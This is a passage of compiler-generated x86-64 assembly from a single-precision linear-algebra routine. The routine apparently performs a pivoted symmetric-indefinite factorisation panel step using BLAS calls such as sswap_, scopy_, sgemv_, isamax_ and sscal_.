mov eax, DWORD PTR -156[rbp]
imul eax, DWORD PTR -92[rbp]
mov edx, eax
mov eax, DWORD PTR -112[rbp]
add eax, edx
cdqe
lea rdx, 0[0+rax*4]
mov rax, QWORD PTR -232[rbp]
lea rcx, [rdx+rax]
mov eax, DWORD PTR -156[rbp]
imul eax, DWORD PTR -92[rbp]
mov edx, eax
mov eax, DWORD PTR -104[rbp]
add eax, edx
cdqe
lea rdx, 0[0+rax*4]
mov rax, QWORD PTR -232[rbp]
lea rsi, [rdx+rax]
mov rdi, QWORD PTR -240[rbp]
mov rdx, QWORD PTR -240[rbp]
lea rax, -180[rbp]
mov r8, rdi
mov rdi, rax
call sswap_@PLT
.L138:
mov rax, QWORD PTR -208[rbp]
mov edx, DWORD PTR [rax]
mov eax, DWORD PTR -156[rbp]
cmp edx, eax
jl .L139
jmp .L135
.L139:
mov rax, QWORD PTR -208[rbp]
mov eax, DWORD PTR [rax]
mov ecx, DWORD PTR -152[rbp]
sub eax, ecx
mov edx, eax
mov rax, QWORD PTR -224[rbp]
mov DWORD PTR [rax], edx
jmp .L140
.L69:
mov DWORD PTR -152[rbp], 1
.L141:
mov rax, QWORD PTR -216[rbp]
mov edx, DWORD PTR [rax]
mov eax, DWORD PTR -152[rbp]
cmp edx, eax
jg .L142
mov rax, QWORD PTR -216[rbp]
mov edx, DWORD PTR [rax]
mov rax, QWORD PTR -208[rbp]
mov eax, DWORD PTR [rax]
cmp edx, eax
jl .L252
.L142:
mov rax, QWORD PTR -208[rbp]
mov edx, DWORD PTR [rax]
mov eax, DWORD PTR -152[rbp]
cmp edx, eax
jl .L252
mov DWORD PTR -120[rbp], 1
mov eax, DWORD PTR -152[rbp]
mov DWORD PTR -148[rbp], eax
mov rax, QWORD PTR -208[rbp]
mov eax, DWORD PTR [rax]
mov edx, DWORD PTR -152[rbp]
sub eax, edx
add eax, 1
mov DWORD PTR -180[rbp], eax
mov eax, DWORD PTR -152[rbp]
imul eax, DWORD PTR -84[rbp]
mov edx, eax
mov eax, DWORD PTR -152[rbp]
add eax, edx
cdqe
lea rdx, 0[0+rax*4]
mov rax, QWORD PTR -256[rbp]
add rdx, rax
mov eax, DWORD PTR -152[rbp]
imul eax, DWORD PTR -92[rbp]
mov ecx, eax
mov eax, DWORD PTR -152[rbp]
add eax, ecx
cdqe
lea rcx, 0[0+rax*4]
mov rax, QWORD PTR -232[rbp]
lea rsi, [rcx+rax]
lea rax, -180[rbp]
lea r8, c__1[rip]
mov rcx, rdx
lea rdx, c__1[rip]
mov rdi, rax
call scopy_@PLT
mov eax, DWORD PTR -152[rbp]
cmp eax, 1
jle .L146
mov rax, QWORD PTR -208[rbp]
mov eax, DWORD PTR [rax]
mov edx, DWORD PTR -152[rbp]
sub eax, edx
add eax, 1
mov DWORD PTR -180[rbp], eax
mov eax, DWORD PTR -152[rbp]
sub eax, 1
mov DWORD PTR -176[rbp], eax
mov eax, DWORD PTR -152[rbp]
imul eax, DWORD PTR -84[rbp]
mov edx, eax
mov eax, DWORD PTR -152[rbp]
add eax, edx
cdqe
lea rdx, 0[0+rax*4]
mov rax, QWORD PTR -256[rbp]
lea rsi, [rdx+rax]
mov edx, DWORD PTR -152[rbp]
mov eax, DWORD PTR -84[rbp]
add eax, edx
cdqe
lea rdx, 0[0+rax*4]
mov rax, QWORD PTR -256[rbp]
lea rcx, [rdx+rax]
mov edx, DWORD PTR -152[rbp]
mov eax, DWORD PTR -92[rbp]
add eax, edx
cdqe
lea rdx, 0[0+rax*4]
mov rax, QWORD PTR -232[rbp]
lea r10, [rdx+rax]
mov r8, QWORD PTR -240[rbp]
lea rdx, -176[rbp]
lea rax, -180[rbp]
sub rsp, 8
lea rdi, c__1[rip]
push rdi
push rsi
lea rsi, c_b10[rip]
push rsi
push QWORD PTR -264[rbp]
push rcx
mov r9, r8
mov r8, r10
lea rcx, c_b9[rip]
mov rsi, rax
lea rdi, .LC7[rip]
call sgemv_@PLT
add rsp, 48
.L146:
mov eax, DWORD PTR -152[rbp]
imul eax, DWORD PTR -84[rbp]
mov edx, eax
mov eax, DWORD PTR -152[rbp]
add eax, edx
cdqe
lea rdx, 0[0+rax*4]
mov rax, QWORD PTR -256[rbp]
add rax, rdx
movss xmm0, DWORD PTR [rax]
movss DWORD PTR -68[rbp], xmm0
movss xmm0, DWORD PTR -68[rbp]
pxor xmm1, xmm1
comiss xmm0, xmm1
jb .L242
movss xmm0, DWORD PTR -68[rbp]
jmp .L149
.L242:
movss xmm0, DWORD PTR -68[rbp]
movss xmm1, DWORD PTR .LC8[rip]
xorps xmm0, xmm1
.L149:
movss DWORD PTR -64[rbp], xmm0
mov rax, QWORD PTR -208[rbp]
mov edx, DWORD PTR [rax]
mov eax, DWORD PTR -152[rbp]
cmp edx, eax
jle .L150
mov rax, QWORD PTR -208[rbp]
mov eax, DWORD PTR [rax]
mov edx, DWORD PTR -152[rbp]
sub eax, edx
mov DWORD PTR -180[rbp], eax
mov eax, DWORD PTR -152[rbp]
lea edx, 1[rax]
mov eax, DWORD PTR -152[rbp]
imul eax, DWORD PTR -84[rbp]
add eax, edx
cdqe
lea rdx, 0[0+rax*4]
mov rax, QWORD PTR -256[rbp]
lea rcx, [rdx+rax]
lea rax, -180[rbp]
lea rdx, c__1[rip]
mov rsi, rcx
mov rdi, rax
call isamax_@PLT
mov edx, DWORD PTR -152[rbp]
add eax, edx
mov DWORD PTR -160[rbp], eax
mov eax, DWORD PTR -152[rbp]
imul eax, DWORD PTR -84[rbp]
mov edx, eax
mov eax, DWORD PTR -160[rbp]
add eax, edx
cdqe
lea rdx, 0[0+rax*4]
mov rax, QWORD PTR -256[rbp]
add rax, rdx
movss xmm0, DWORD PTR [rax]
movss DWORD PTR -68[rbp], xmm0
movss xmm0, DWORD PTR -68[rbp]
pxor xmm1, xmm1
comiss xmm0, xmm1
jb .L243
movss xmm0, DWORD PTR -68[rbp]
jmp .L153
.L243:
movss xmm0, DWORD PTR -68[rbp]
movss xmm1, DWORD PTR .LC8[rip]
xorps xmm0, xmm1
.L153:
movss DWORD PTR -108[rbp], xmm0
jmp .L154
.L150:
pxor xmm0, xmm0
movss DWORD PTR -108[rbp], xmm0
.L154:
movss xmm0, DWORD PTR -64[rbp]
comiss xmm0, DWORD PTR -108[rbp]
jb .L244
pxor xmm0, xmm0
ucomiss xmm0, DWORD PTR -64[rbp]
setnp al
mov edx, 0
pxor xmm0, xmm0
ucomiss xmm0, DWORD PTR -64[rbp]
cmovne eax, edx
jmp .L157
.L244:
pxor xmm0, xmm0
ucomiss xmm0, DWORD PTR -108[rbp]
setnp al
mov edx, 0
pxor xmm0, xmm0
ucomiss xmm0, DWORD PTR -108[rbp]
cmovne eax, edx
.L157:
test al, al
je .L158
mov rax, QWORD PTR -272[rbp]
mov eax, DWORD PTR [rax]
test eax, eax
jne .L159
mov edx, DWORD PTR -152[rbp]
mov rax, QWORD PTR -272[rbp]
mov DWORD PTR [rax], edx
.L159:
mov eax, DWORD PTR -152[rbp]
mov DWORD PTR -132[rbp], eax
mov rax, QWORD PTR -208[rbp]
mov eax, DWORD PTR [rax]
mov edx, DWORD PTR -152[rbp]
sub eax, edx
add eax, 1
mov DWORD PTR -180[rbp], eax
mov eax, DWORD PTR -152[rbp]
imul eax, DWORD PTR -92[rbp]
mov edx, eax
mov eax, DWORD PTR -152[rbp]
add eax, edx
cdqe
lea rdx, 0[0+rax*4]
mov rax, QWORD PTR -232[rbp]
add rdx, rax
mov eax, DWORD PTR -152[rbp]
imul eax, DWORD PTR -84[rbp]
mov ecx, eax
mov eax, DWORD PTR -152[rbp]
add eax, ecx
cdqe
lea rcx, 0[0+rax*4]
mov rax, QWORD PTR -256[rbp]
lea rsi, [rcx+rax]
lea rax, -180[rbp]
lea r8, c__1[rip]
mov rcx, rdx
lea rdx, c__1[rip]
mov rdi, rax
call scopy_@PLT
jmp .L160
.L158:
movss xmm0, DWORD PTR -76[rbp]
mulss xmm0, DWORD PTR -108[rbp]
comiss xmm0, DWORD PTR -64[rbp]
seta al
xor eax, 1
test al, al
je .L161
mov eax, DWORD PTR -152[rbp]
mov DWORD PTR -132[rbp], eax
jmp .L162
.L161:
mov DWORD PTR -128[rbp], 0
.L163:
mov eax, DWORD PTR -160[rbp]
mov edx, DWORD PTR -152[rbp]
sub eax, edx
mov DWORD PTR -180[rbp], eax
mov eax, DWORD PTR -152[rbp]
add eax, 1
imul eax, DWORD PTR -84[rbp]
mov edx, eax
mov eax, DWORD PTR -152[rbp]
add eax, edx
cdqe
lea rdx, 0[0+rax*4]
mov rax, QWORD PTR -256[rbp]
lea rcx, [rdx+rax]
mov eax, DWORD PTR -152[rbp]
imul eax, DWORD PTR -92[rbp]
mov edx, eax
mov eax, DWORD PTR -160[rbp]
add eax, edx
cdqe
lea rdx, 0[0+rax*4]
mov rax, QWORD PTR -232[rbp]
lea rsi, [rdx+rax]
mov rdx, QWORD PTR -240[rbp]
lea rax, -180[rbp]
lea r8, c__1[rip]
mov rdi, rax
call scopy_@PLT
mov rax, QWORD PTR -208[rbp]
mov eax, DWORD PTR [rax]
mov edx, DWORD PTR -160[rbp]
sub eax, edx
add eax, 1
mov DWORD PTR -180[rbp], eax
mov eax, DWORD PTR -152[rbp]
add eax, 1
imul eax, DWORD PTR -84[rbp]
mov edx, eax
mov eax, DWORD PTR -160[rbp]
add eax, edx
cdqe
lea rdx, 0[0+rax*4]
mov rax, QWORD PTR -256[rbp]
add rdx, rax
mov eax, DWORD PTR -160[rbp]
imul eax, DWORD PTR -92[rbp]
mov ecx, eax
mov eax, DWORD PTR -160[rbp]
add eax, ecx
cdqe
lea rcx, 0[0+rax*4]
mov rax, QWORD PTR -232[rbp]
lea rsi, [rcx+rax]
lea rax, -180[rbp]
lea r8, c__1[rip]
mov rcx, rdx
lea rdx, c__1[rip]
mov rdi, rax
call scopy_@PLT
mov eax, DWORD PTR -152[rbp]
cmp eax, 1
jle .L164
mov rax, QWORD PTR -208[rbp]
mov eax, DWORD PTR [rax]
mov edx, DWORD PTR -152[rbp]
sub eax, edx
add eax, 1
mov DWORD PTR -180[rbp], eax
mov eax, DWORD PTR -152[rbp]
sub eax, 1
mov DWORD PTR -176[rbp], eax
mov eax, DWORD PTR -152[rbp]
add eax, 1
imul eax, DWORD PTR -84[rbp]
mov edx, eax
mov eax, DWORD PTR -152[rbp]
add eax, edx
cdqe
lea rdx, 0[0+rax*4]
mov rax, QWORD PTR -256[rbp]
lea rsi, [rdx+rax]
mov edx, DWORD PTR -160[rbp]
mov eax, DWORD PTR -84[rbp]
add eax, edx
cdqe
lea rdx, 0[0+rax*4]
mov rax, QWORD PTR -256[rbp]
lea rcx, [rdx+rax]
mov edx, DWORD PTR -152[rbp]
mov eax, DWORD PTR -92[rbp]
add eax, edx
cdqe
lea rdx, 0[0+rax*4]
mov rax, QWORD PTR -232[rbp]
lea r10, [rdx+rax]
mov r8, QWORD PTR -240[rbp]
lea rdx, -176[rbp]
lea rax, -180[rbp]
sub rsp, 8
lea rdi, c__1[rip]
push rdi
push rsi
lea rsi, c_b10[rip]
push rsi
push QWORD PTR -264[rbp]
push rcx
mov r9, r8
mov r8, r10
lea rcx, c_b9[rip]
mov rsi, rax
lea rdi, .LC7[rip]
call sgemv_@PLT
add rsp, 48
.L164:
mov edx, DWORD PTR -160[rbp]
mov eax, DWORD PTR -152[rbp]
cmp edx, eax
je .L165
mov eax, DWORD PTR -160[rbp]
mov edx, DWORD PTR -152[rbp]
sub eax, edx
mov DWORD PTR -180[rbp], eax
mov eax, DWORD PTR -152[rbp]
lea ebx, -1[rax]
mov eax, DWORD PTR -152[rbp]
add eax, 1
imul eax, DWORD PTR -84[rbp]
mov edx, eax
mov eax, DWORD PTR -152[rbp]
add eax, edx
cdqe
lea rdx, 0[0+rax*4]
mov rax, QWORD PTR -256[rbp]
lea rcx, [rdx+rax]
lea rax, -180[rbp]
lea rdx, c__1[rip]
mov rsi, rcx
mov rdi, rax
call isamax_@PLT
add eax, ebx
mov DWORD PTR -124[rbp], eax
mov eax, DWORD PTR -152[rbp]
add eax, 1
imul eax, DWORD PTR -84[rbp]
mov edx, eax
mov eax, DWORD PTR -124[rbp]
add eax, edx
cdqe
lea rdx, 0[0+rax*4]
mov rax, QWORD PTR -256[rbp]
add rax, rdx
movss xmm0, DWORD PTR [rax]
movss DWORD PTR -68[rbp], xmm0
movss xmm0, DWORD PTR -68[rbp]
pxor xmm1, xmm1
comiss xmm0, xmm1
jb .L245
movss xmm0, DWORD PTR -68[rbp]
jmp .L168
.L245:
movss xmm0, DWORD PTR -68[rbp]
movss xmm1, DWORD PTR .LC8[rip]
xorps xmm0, xmm1
.L168:
movss DWORD PTR -96[rbp], xmm0
jmp .L169
.L165:
pxor xmm0, xmm0
movss DWORD PTR -96[rbp], xmm0
.L169:
mov rax, QWORD PTR -208[rbp]
mov edx, DWORD PTR [rax]
mov eax, DWORD PTR -160[rbp]
cmp edx, eax
jle .L170
mov rax, QWORD PTR -208[rbp]
mov eax, DWORD PTR [rax]
mov edx, DWORD PTR -160[rbp]
sub eax, edx
mov DWORD PTR -180[rbp], eax
mov eax, DWORD PTR -160[rbp]
lea edx, 1[rax]
mov eax, DWORD PTR -152[rbp]
add eax, 1
imul eax, DWORD PTR -84[rbp]
add eax, edx
cdqe
lea rdx, 0[0+rax*4]
mov rax, QWORD PTR -256[rbp]
lea rcx, [rdx+rax]
lea rax, -180[rbp]
lea rdx, c__1[rip]
mov rsi, rcx
mov rdi, rax
call isamax_@PLT
mov edx, DWORD PTR -160[rbp]
add eax, edx
mov DWORD PTR -60[rbp], eax
mov eax, DWORD PTR -152[rbp]
add eax, 1
imul eax, DWORD PTR -84[rbp]
mov edx, eax
mov eax, DWORD PTR -60[rbp]
add eax, edx
cdqe
lea rdx, 0[0+rax*4]
mov rax, QWORD PTR -256[rbp]
add rax, rdx
movss xmm0, DWORD PTR [rax]
movss DWORD PTR -68[rbp], xmm0
movss xmm0, DWORD PTR -68[rbp]
pxor xmm1, xmm1
comiss xmm0, xmm1
jb .L246
movss xmm0, DWORD PTR -68[rbp]
jmp .L173
.L246:
movss xmm0, DWORD PTR -68[rbp]
movss xmm1, DWORD PTR .LC8[rip]
xorps xmm0, xmm1
.L173:
movss DWORD PTR -56[rbp], xmm0
movss xmm0, DWORD PTR -56[rbp]
comiss xmm0, DWORD PTR -96[rbp]
jbe .L170
movss xmm0, DWORD PTR -56[rbp]
movss DWORD PTR -96[rbp], xmm0
mov eax, DWORD PTR -60[rbp]
mov DWORD PTR -124[rbp], eax
.L170:
mov eax, DWORD PTR -152[rbp]
add eax, 1
imul eax, DWORD PTR -84[rbp]
mov edx, eax
mov eax, DWORD PTR -160[rbp]
add eax, edx
cdqe
lea rdx, 0[0+rax*4]
mov rax, QWORD PTR -256[rbp]
add rax, rdx
movss xmm0, DWORD PTR [rax]
movss DWORD PTR -68[rbp], xmm0
movss xmm0, DWORD PTR -68[rbp]
pxor xmm1, xmm1
comiss xmm0, xmm1
jb .L247
movss xmm0, DWORD PTR -68[rbp]
jmp .L177
.L247:
movss xmm0, DWORD PTR -68[rbp]
movss xmm1, DWORD PTR .LC8[rip]
xorps xmm0, xmm1
.L177:
movss xmm1, DWORD PTR -76[rbp]
mulss xmm1, DWORD PTR -96[rbp]
comiss xmm1, xmm0
seta al
xor eax, 1
test al, al
je .L178
mov eax, DWORD PTR -160[rbp]
mov DWORD PTR -132[rbp], eax
mov rax, QWORD PTR -208[rbp]
mov eax, DWORD PTR [rax]
mov edx, DWORD PTR -152[rbp]
sub eax, edx
add eax, 1
mov DWORD PTR -180[rbp], eax
mov eax, DWORD PTR -152[rbp]
imul eax, DWORD PTR -84[rbp]
mov edx, eax
mov eax, DWORD PTR -152[rbp]
add eax, edx
cdqe
lea rdx, 0[0+rax*4]
mov rax, QWORD PTR -256[rbp]
add rdx, rax
mov eax, DWORD PTR -152[rbp]
add eax, 1
imul eax, DWORD PTR -84[rbp]
mov ecx, eax
mov eax, DWORD PTR -152[rbp]
add eax, ecx
cdqe
lea rcx, 0[0+rax*4]
mov rax, QWORD PTR -256[rbp]
lea rsi, [rcx+rax]
lea rax, -180[rbp]
lea r8, c__1[rip]
mov rcx, rdx
lea rdx, c__1[rip]
mov rdi, rax
call scopy_@PLT
mov DWORD PTR -128[rbp], 1
jmp .L179
.L178:
mov eax, DWORD PTR -148[rbp]
cmp DWORD PTR -124[rbp], eax
je .L180
movss xmm0, DWORD PTR -108[rbp]
comiss xmm0, DWORD PTR -96[rbp]
jb .L248
.L180:
mov eax, DWORD PTR -160[rbp]
mov DWORD PTR -132[rbp], eax
mov DWORD PTR -120[rbp], 2
mov DWORD PTR -128[rbp], 1
jmp .L179
.L248:
mov eax, DWORD PTR -160[rbp]
mov DWORD PTR -148[rbp], eax
movss xmm0, DWORD PTR -96[rbp]
movss DWORD PTR -108[rbp], xmm0
mov eax, DWORD PTR -124[rbp]
mov DWORD PTR -160[rbp], eax
mov rax, QWORD PTR -208[rbp]
mov eax, DWORD PTR [rax]
mov edx, DWORD PTR -152[rbp]
sub eax, edx
add eax, 1
mov DWORD PTR -180[rbp], eax
mov eax, DWORD PTR -152[rbp]
imul eax, DWORD PTR -84[rbp]
mov edx, eax
mov eax, DWORD PTR -152[rbp]
add eax, edx
cdqe
lea rdx, 0[0+rax*4]
mov rax, QWORD PTR -256[rbp]
add rdx, rax
mov eax, DWORD PTR -152[rbp]
add eax, 1
imul eax, DWORD PTR -84[rbp]
mov ecx, eax
mov eax, DWORD PTR -152[rbp]
add eax, ecx
cdqe
lea rcx, 0[0+rax*4]
mov rax, QWORD PTR -256[rbp]
lea rsi, [rcx+rax]
lea rax, -180[rbp]
lea r8, c__1[rip]
mov rcx, rdx
lea rdx, c__1[rip]
mov rdi, rax
call scopy_@PLT
.L179:
cmp DWORD PTR -128[rbp], 0
jne .L162
jmp .L163
.L162:
mov edx, DWORD PTR -152[rbp]
mov eax, DWORD PTR -120[rbp]
add eax, edx
sub eax, 1
mov DWORD PTR -136[rbp], eax
cmp DWORD PTR -120[rbp], 2
jne .L183
mov edx, DWORD PTR -148[rbp]
mov eax, DWORD PTR -152[rbp]
cmp edx, eax
je .L183
mov eax, DWORD PTR -148[rbp]
mov edx, DWORD PTR -152[rbp]
sub eax, edx
mov DWORD PTR -180[rbp], eax
mov eax, DWORD PTR -152[rbp]
imul eax, DWORD PTR -92[rbp]
mov edx, eax
mov eax, DWORD PTR -148[rbp]
add eax, edx
cdqe
lea rdx, 0[0+rax*4]
mov rax, QWORD PTR -232[rbp]
add rdx, rax
mov eax, DWORD PTR -152[rbp]
imul eax, DWORD PTR -92[rbp]
mov ecx, eax
mov eax, DWORD PTR -152[rbp]
add eax, ecx
cdqe
lea rcx, 0[0+rax*4]
mov rax, QWORD PTR -232[rbp]
lea rsi, [rcx+rax]
mov rcx, QWORD PTR -240[rbp]
lea rax, -180[rbp]
mov r8, rcx
mov rcx, rdx
lea rdx, c__1[rip]
mov rdi, rax
call scopy_@PLT
mov rax, QWORD PTR -208[rbp]
mov eax, DWORD PTR [rax]
mov edx, DWORD PTR -148[rbp]
sub eax, edx
add eax, 1
mov DWORD PTR -180[rbp], eax
mov eax, DWORD PTR -148[rbp]
imul eax, DWORD PTR -92[rbp]
mov edx, eax
mov eax, DWORD PTR -148[rbp]
add eax, edx
cdqe
lea rdx, 0[0+rax*4]
mov rax, QWORD PTR -232[rbp]
add rdx, rax
mov eax, DWORD PTR -152[rbp]
imul eax, DWORD PTR -92[rbp]
mov ecx, eax
mov eax, DWORD PTR -148[rbp]
add eax, ecx
cdqe
lea rcx, 0[0+rax*4]
mov rax, QWORD PTR -232[rbp]
lea rsi, [rcx+rax]
lea rax, -180[rbp]
lea r8, c__1[rip]
mov rcx, rdx
lea rdx, c__1[rip]
mov rdi, rax
call scopy_@PLT
mov edx, DWORD PTR -148[rbp]
mov eax, DWORD PTR -92[rbp]
add eax, edx
cdqe
lea rdx, 0[0+rax*4]
mov rax, QWORD PTR -232[rbp]
lea rcx, [rdx+rax]
mov edx, DWORD PTR -152[rbp]
mov eax, DWORD PTR -92[rbp]
add eax, edx
cdqe
lea rdx, 0[0+rax*4]
mov rax, QWORD PTR -232[rbp]
lea rsi, [rdx+rax]
mov rdi, QWORD PTR -240[rbp]
mov rdx, QWORD PTR -240[rbp]
lea rax, -152[rbp]
mov r8, rdi
mov rdi, rax
call sswap_@PLT
mov edx, DWORD PTR -148[rbp]
mov eax, DWORD PTR -84[rbp]
add eax, edx
cdqe
lea rdx, 0[0+rax*4]
mov rax, QWORD PTR -256[rbp]
lea rcx, [rdx+rax]
mov edx, DWORD PTR -152[rbp]
mov eax, DWORD PTR -84[rbp]
add eax, edx
cdqe
lea rdx, 0[0+rax*4]
mov rax, QWORD PTR -256[rbp]
lea rsi, [rdx+rax]
mov rdi, QWORD PTR -264[rbp]
mov rdx, QWORD PTR -264[rbp]
lea rax, -136[rbp]
mov r8, rdi
mov rdi, rax
call sswap_@PLT
.L183:
mov edx, DWORD PTR -132[rbp]
mov eax, DWORD PTR -136[rbp]
cmp edx, eax
je .L184
mov eax, DWORD PTR -152[rbp]
imul eax, DWORD PTR -92[rbp]
mov edx, eax
mov eax, DWORD PTR -136[rbp]
add eax, edx
cdqe
lea rdx, 0[0+rax*4]
mov rax, QWORD PTR -232[rbp]
add rdx, rax
mov eax, DWORD PTR -152[rbp]
imul eax, DWORD PTR -92[rbp]
mov ecx, eax
mov eax, DWORD PTR -132[rbp]
add eax, ecx
cdqe
lea rcx, 0[0+rax*4]
mov rax, QWORD PTR -232[rbp]
add rax, rcx
movss xmm0, DWORD PTR [rdx]
movss DWORD PTR [rax], xmm0
mov eax, DWORD PTR -132[rbp]
mov edx, DWORD PTR -152[rbp]
sub eax, edx
sub eax, 1
mov DWORD PTR -180[rbp], eax
mov eax, DWORD PTR -152[rbp]
add eax, 1
imul eax, DWORD PTR -92[rbp]
mov edx, eax
mov eax, DWORD PTR -132[rbp]
add eax, edx
cdqe
lea rdx, 0[0+rax*4]
mov rax, QWORD PTR -232[rbp]
add rdx, rax
mov eax, DWORD PTR -152[rbp]
lea ecx, 1[rax]
mov eax, DWORD PTR -136[rbp]
imul eax, DWORD PTR -92[rbp]
add eax, ecx
cdqe
lea rcx, 0[0+rax*4]
mov rax, QWORD PTR -232[rbp]
lea rsi, [rcx+rax]
mov rcx, QWORD PTR -240[rbp]
lea rax, -180[rbp]
mov r8, rcx
mov rcx, rdx
lea rdx, c__1[rip]
mov rdi, rax
call scopy_@PLT
mov rax, QWORD PTR -208[rbp]
mov eax, DWORD PTR [rax]
mov edx, DWORD PTR -132[rbp]
sub eax, edx
add eax, 1
mov DWORD PTR -180[rbp], eax
mov eax, DWORD PTR -132[rbp]
imul eax, DWORD PTR -92[rbp]
mov edx, eax
mov eax, DWORD PTR -132[rbp]
add eax, edx
cdqe
lea rdx, 0[0+rax*4]
mov rax, QWORD PTR -232[rbp]
add rdx, rax
mov eax, DWORD PTR -136[rbp]
imul eax, DWORD PTR -92[rbp]
mov ecx, eax
mov eax, DWORD PTR -132[rbp]
add eax, ecx
cdqe
lea rcx, 0[0+rax*4]
mov rax, QWORD PTR -232[rbp]
lea rsi, [rcx+rax]
lea rax, -180[rbp]
lea r8, c__1[rip]
mov rcx, rdx
lea rdx, c__1[rip]
mov rdi, rax
call scopy_@PLT
mov edx, DWORD PTR -132[rbp]
mov eax, DWORD PTR -92[rbp]
add eax, edx
cdqe
lea rdx, 0[0+rax*4]
mov rax, QWORD PTR -232[rbp]
lea rcx, [rdx+rax]
mov edx, DWORD PTR -136[rbp]
mov eax, DWORD PTR -92[rbp]
add eax, edx
cdqe
lea rdx, 0[0+rax*4]
mov rax, QWORD PTR -232[rbp]
lea rsi, [rdx+rax]
mov rdi, QWORD PTR -240[rbp]
mov rdx, QWORD PTR -240[rbp]
lea rax, -136[rbp]
mov r8, rdi
mov rdi, rax
call sswap_@PLT
mov edx, DWORD PTR -132[rbp]
mov eax, DWORD PTR -84[rbp]
add eax, edx
cdqe
lea rdx, 0[0+rax*4]
mov rax, QWORD PTR -256[rbp]
lea rcx, [rdx+rax]
mov edx, DWORD PTR -136[rbp]
mov eax, DWORD PTR -84[rbp]
add eax, edx
cdqe
lea rdx, 0[0+rax*4]
mov rax, QWORD PTR -256[rbp]
lea rsi, [rdx+rax]
mov rdi, QWORD PTR -264[rbp]
mov rdx, QWORD PTR -264[rbp]
lea rax, -136[rbp]
mov r8, rdi
mov rdi, rax
call sswap_@PLT
.L184:
cmp DWORD PTR -120[rbp], 1
jne .L185
mov rax, QWORD PTR -208[rbp]
mov eax, DWORD PTR [rax]
mov edx, DWORD PTR -152[rbp]
sub eax, edx
add eax, 1
mov DWORD PTR -180[rbp], eax
mov eax, DWORD PTR -152[rbp]
imul eax, DWORD PTR -92[rbp]
mov edx, eax
mov eax, DWORD PTR -152[rbp]
add eax, edx
cdqe
lea rdx, 0[0+rax*4]
mov rax, QWORD PTR -232[rbp]
add rdx, rax
mov eax, DWORD PTR -152[rbp]
imul eax, DWORD PTR -84[rbp]
mov ecx, eax
mov eax, DWORD PTR -152[rbp]
add eax, ecx
cdqe
lea rcx, 0[0+rax*4]
mov rax, QWORD PTR -256[rbp]
lea rsi, [rcx+rax]
lea rax, -180[rbp]
lea r8, c__1[rip]
mov rcx, rdx
lea rdx, c__1[rip]
mov rdi, rax
call scopy_@PLT
mov rax, QWORD PTR -208[rbp]
mov edx, DWORD PTR [rax]
mov eax, DWORD PTR -152[rbp]
cmp edx, eax
jle .L160
mov eax, DWORD PTR -152[rbp]
imul eax, DWORD PTR -92[rbp]
mov edx, eax
mov eax, DWORD PTR -152[rbp]
add eax, edx
cdqe
lea rdx, 0[0+rax*4]
mov rax, QWORD PTR -232[rbp]
add rax, rdx
movss xmm0, DWORD PTR [rax]
movss DWORD PTR -68[rbp], xmm0
movss xmm0, DWORD PTR -68[rbp]
pxor xmm1, xmm1
comiss xmm0, xmm1
jb .L249
movss xmm0, DWORD PTR -68[rbp]
jmp .L188
.L249:
movss xmm0, DWORD PTR -68[rbp]
movss xmm1, DWORD PTR .LC8[rip]
xorps xmm0, xmm1
.L188:
comiss xmm0, DWORD PTR -72[rbp]
jb .L250
mov eax, DWORD PTR -152[rbp]
imul eax, DWORD PTR -92[rbp]
mov edx, eax
mov eax, DWORD PTR -152[rbp]
add eax, edx
cdqe
lea rdx, 0[0+rax*4]
mov rax, QWORD PTR -232[rbp]
add rax, rdx
movss xmm1, DWORD PTR [rax]
movss xmm0, DWORD PTR .LC0[rip]
divss xmm0, xmm1
movss DWORD PTR -144[rbp], xmm0
mov rax, QWORD PTR -208[rbp]
mov eax, DWORD PTR [rax]
mov edx, DWORD PTR -152[rbp]
sub eax, edx
mov DWORD PTR -180[rbp], eax
mov eax, DWORD PTR -152[rbp]
lea edx, 1[rax]
mov eax, DWORD PTR -152[rbp]
imul eax, DWORD PTR -92[rbp]
add eax, edx
cdqe
lea rdx, 0[0+rax*4]
mov rax, QWORD PTR -232[rbp]
add rdx, rax
lea rsi, -144[rbp]
lea rax, -180[rbp]
lea rcx, c__1[rip]
mov rdi, rax
call sscal_@PLT
jmp .L160
.L250:
mov eax, DWORD PTR -152[rbp]
imul eax, DWORD PTR -92[rbp]
mov edx, eax
mov eax, DWORD PTR -152[rbp]
add eax, edx
cdqe
lea rdx, 0[0+rax*4]
mov rax, QWORD PTR -232[rbp]
add rax, rdx
movss xmm0, DWORD PTR [rax]
pxor xmm1, xmm1
ucomiss xmm0, xmm1
jp .L232
pxor xmm1, xmm1
comiss xmm0, xmm1
je .L160
.L232:
mov rax, QWORD PTR -208[rbp]
mov eax, DWORD PTR [rax]
mov DWORD PTR -180[rbp], eax
mov eax, DWORD PTR -152[rbp]
add eax, 1
mov DWORD PTR -116[rbp], eax
jmp .L192
.L193:
mov eax, DWORD PTR -152[rbp]
imul eax, DWORD PTR -92[rbp]
mov edx, eax
mov eax, DWORD PTR -116[rbp]
add eax, edx
cdqe
lea rdx, 0[0+rax*4]
mov rax, QWORD PTR -232[rbp]
add rax, rdx
movss xmm0, DWORD PTR [rax]
mov eax, DWORD PTR -152[rbp]
imul eax, DWORD PTR -92[rbp]
mov edx, eax
mov eax, DWORD PTR -152[rbp]
add eax, edx
cdqe
lea rdx, 0[0+rax*4]
mov rax, QWORD PTR -232[rbp]
add rax, rdx
movss xmm1, DWORD PTR [rax]
mov eax, DWORD PTR -152[rbp]
imul eax, DWORD PTR -92[rbp]
mov edx, eax
mov eax, DWORD PTR -116[rbp]
add eax, edx
cdqe
lea rdx, 0[0+rax*4]
mov rax, QWORD PTR -232[rbp]
add rax, rdx
divss xmm0, xmm1
movss DWORD PTR [rax], xmm0
add DWORD PTR -116[rbp], 1
.L192:
mov eax, DWORD PTR -180[rbp]
cmp DWORD PTR -116[rbp], eax
jle .L193
jmp .L160
.L185:
mov rax, QWORD PTR -208[rbp]
mov eax, DWORD PTR [rax]
lea edx, -1[rax]
mov eax, DWORD PTR -152[rbp]
cmp edx, eax
jle .L194
mov eax, DWORD PTR -152[rbp]
lea edx, 1[rax]
mov eax, DWORD PTR -152[rbp]
imul eax, DWORD PTR -84[rbp]
add eax, edx
cdqe
lea rdx, 0[0+rax*4]
mov rax, QWORD PTR -256[rbp]
add rax, rdx
movss xmm0, DWORD PTR [rax]
movss DWORD PTR -52[rbp], xmm0
mov eax, DWORD PTR -152[rbp]
lea edx, 1[rax]
mov eax, DWORD PTR -152[rbp]
add eax, 1
imul eax, DWORD PTR -84[rbp]
add eax, edx
cdqe
lea rdx, 0[0+rax*4]
mov rax, QWORD PTR -256[rbp]
add rax, rdx
movss xmm0, DWORD PTR [rax]
